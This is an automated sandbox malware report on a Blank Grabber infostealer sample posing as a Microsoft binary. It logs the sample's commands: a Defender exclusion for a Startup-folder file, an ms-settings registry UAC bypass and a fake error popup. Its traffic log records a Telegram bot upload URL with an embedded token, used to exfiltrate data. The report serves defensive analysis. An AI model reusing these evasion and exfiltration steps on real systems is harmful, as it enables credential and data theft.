| File name: | Built.exe |
| Full analysis: | https://app.any.run/tasks/ef955e1a-e761-49d5-af02-4c548b02d69d |
| Verdict: | Malicious activity |
| Threats: | Blank Grabber is an infostealer written in Python. It is designed to steal a wide array of data, such as browser login credentials, crypto wallets, Telegram sessions, and Discord tokens. It is an open-source malware, with its code available on GitHub and regularly receiving updates. Blank Grabber builder’s simple interface lets threat actors even with basic skills to deploy it and conduct attacks. |
| Analysis date: | March 26, 2025, 18:10:13 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 7 sections |
| MD5: | A527D0E58B2FB74AE7361C236F70EA77 |
| SHA1: | D9C77E936DD99DBEC4AC9BA7D5DDE3823FA7F17B |
| SHA256: | 1D18D68CD0CBEDA055A3DE3F2D43E2E47F588089BFED7C127C722287A1BA90CF |
| SSDEEP: | 98304:y1T2QUrGou8MtASRFDh8w6H9sKV8a5Hc3jtHfktEzafhOsE+XZ0K97LRB2cYaMwV:JOmrac5XW/FhE |
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2025:03:26 17:44:04+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.42 |
| CodeSize: | 173568 |
| InitializedDataSize: | 95232 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xce20 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 10.0.19041.5553 |
| ProductVersionNumber: | 10.0.19041.5553 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Dynamic link library |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Microsoft Corporation |
| FileDescription: | USO Core Worker Process |
| FileVersion: | 10.0.19041.5553 (WinBuild.160101.0800) |
| InternalName: | USO Core Worker Process |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFileName: | USOCoreWorker.exe |
| ProductName: | Microsoft® Windows® Operating System |
| ProductVersion: | 10.0.19041.5553 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 300 | C:\WINDOWS\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" | C:\Windows\System32\cmd.exe | — | Built.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 732 | C:\WINDOWS\system32\cmd.exe /c "reg delete hkcu\Software\Classes\ms-settings /f" | C:\Windows\System32\cmd.exe | — | .scr | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 732 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 864 | tree /A /F | C:\Windows\System32\tree.com | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Tree Walk Utility Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 896 | C:\WINDOWS\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'" | C:\Windows\System32\cmd.exe | — | Built.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 900 | C:\WINDOWS\system32\cmd.exe /c "tree /A /F" | C:\Windows\System32\cmd.exe | — | Built.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 900 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 920 | C:\WINDOWS\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Version mismatch', 0, 'Error', 0+16);close()"" | C:\Windows\System32\cmd.exe | — | Built.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1012 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1132 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (8020) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open\command |
| Operation: | write | Name: | DelegateExecute |
Value: | |||
| (PID) Process: | (6028) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | SlowContextMenuEntries |
Value: 6024B221EA3A6910A2DC08002B30309D0A010000BD0E0C47735D584D9CEDE91E22E23282770100000114020000000000C0000000000000468D0000006078A409B011A54DAFA526D86198A780390100009AD298B2EDA6DE11BA8CA68E55D895936E000000 | |||
| (PID) Process: | (6028) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (6028) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (6028) ComputerDefaults.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (6744) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open\command |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (6744) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell\open |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (6744) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings\shell |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (6744) reg.exe | Key: | HKEY_CLASSES_ROOT\ms-settings |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (1184) Built.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Multimedia\DrawDib |
| Operation: | write | Name: | 1280x720x32(BGR 0) |
Value: 31,31,31,31 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7824 | Built.exe | C:\Users\admin\AppData\Local\Temp\_MEI78242\_queue.pyd | executable | |
MD5:7B9F914D6C0B80C891FF7D5C031598D9 | SHA256:7F80508EDFF0896596993BF38589DA38D95BC35FB286F81DF361B5BF8C682CAE | |||
| 7824 | Built.exe | C:\Users\admin\AppData\Local\Temp\_MEI78242\_hashlib.pyd | executable | |
MD5:8BA5202E2F3FB1274747AA2AE7C3F7BF | SHA256:0541A0028619AB827F961A994667F9A8F1A48C8B315F071242A69D1BD6AEAB8B | |||
| 7824 | Built.exe | C:\Users\admin\AppData\Local\Temp\_MEI78242\_decimal.pyd | executable | |
MD5:604154D16E9A3020B9AD3B6312F5479C | SHA256:3C7585E75FA1E8604D8C408F77995B30F90C54A0F2FF5021E14FA7F84E093FB6 | |||
| 7824 | Built.exe | C:\Users\admin\AppData\Local\Temp\_MEI78242\_sqlite3.pyd | executable | |
MD5:E5111E0CB03C73C0252718A48C7C68E4 | SHA256:C9D4F10E47E45A23DF9EB4EBB4C4F3C5153E7977DC2B92A1F142B8CCDB0BB26B | |||
| 7824 | Built.exe | C:\Users\admin\AppData\Local\Temp\_MEI78242\api-ms-win-core-file-l1-1-0.dll | executable | |
MD5:EFAD0EE0136532E8E8402770A64C71F9 | SHA256:3D2C55902385381869DB850B526261DDEB4628B83E690A32B67D2E0936B2C6ED | |||
| 7824 | Built.exe | C:\Users\admin\AppData\Local\Temp\_MEI78242\api-ms-win-core-errorhandling-l1-1-0.dll | executable | |
MD5:EB0978A9213E7F6FDD63B2967F02D999 | SHA256:AB25A1FE836FC68BCB199F1FE565C27D26AF0C390A38DA158E0D8815EFE1103E | |||
| 7824 | Built.exe | C:\Users\admin\AppData\Local\Temp\_MEI78242\_socket.pyd | executable | |
MD5:1F7E5E111207BC4439799EBF115E09ED | SHA256:179EBBE9FD241F89DF31D881D9F76358D82CEDEE1A8FB40215C630F94EB37C04 | |||
| 7824 | Built.exe | C:\Users\admin\AppData\Local\Temp\_MEI78242\_lzma.pyd | executable | |
MD5:215ACC93E63FB03742911F785F8DE71A | SHA256:FFDBE11C55010D33867317C0DC2D1BD69F8C07BDA0EA0D3841B54D4A04328F63 | |||
| 7824 | Built.exe | C:\Users\admin\AppData\Local\Temp\_MEI78242\api-ms-win-core-datetime-l1-1-0.dll | executable | |
MD5:CFE0C1DFDE224EA5FED9BD5FF778A6E0 | SHA256:0D0F80CBF476AF5B1C9FD3775E086ED0DFDB510CD0CC208EC1CCB04572396E3E | |||
| 7824 | Built.exe | C:\Users\admin\AppData\Local\Temp\_MEI78242\api-ms-win-core-file-l1-2-0.dll | executable | |
MD5:1C58526D681EFE507DEB8F1935C75487 | SHA256:EF13DCE8F71173315DFC64AB839B033AB19A968EE15230E9D4D2C9D558EFEEE2 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 204 | 142.250.185.163:443 | https://gstatic.com/generate_204 | unknown | — | — | — |
1184 | Built.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/json/?fields=225545 | unknown | — | — | whitelisted |
— | — | POST | 200 | 149.154.167.99:443 | https://api.telegram.org/bot7967659850:AAHhfr-Ff2EapsUviHpTd6r60Ls4NaePrs8/sendDocument | unknown | binary | 1.55 Kb | whitelisted |
— | — | POST | 500 | 40.91.76.224:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
— | — | POST | 500 | 20.83.72.98:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1184 | Built.exe | 216.58.206.35:443 | gstatic.com | GOOGLE | US | whitelisted |
1184 | Built.exe | 208.95.112.1:80 | ip-api.com | TUT-AS | US | whitelisted |
1184 | Built.exe | 149.154.167.220:443 | api.telegram.org | Telegram Messenger Inc | GB | whitelisted |
7468 | slui.exe | 20.83.72.98:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
7236 | slui.exe | 20.83.72.98:443 | activation-v2.sls.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
gstatic.com |
| whitelisted |
ip-api.com |
| whitelisted |
api.telegram.org |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
2196 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
2196 | svchost.exe | Misc activity | SUSPICIOUS [ANY.RUN] Possible sending an external IP address to Telegram |
2196 | svchost.exe | Misc activity | ET HUNTING Telegram API Domain in DNS Lookup |
1184 | Built.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup ip-api.com |
1184 | Built.exe | Misc activity | ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI) |
1184 | Built.exe | A Network Trojan was detected | STEALER [ANY.RUN] BlankGrabber (SkochGrabber) Generic External IP Check |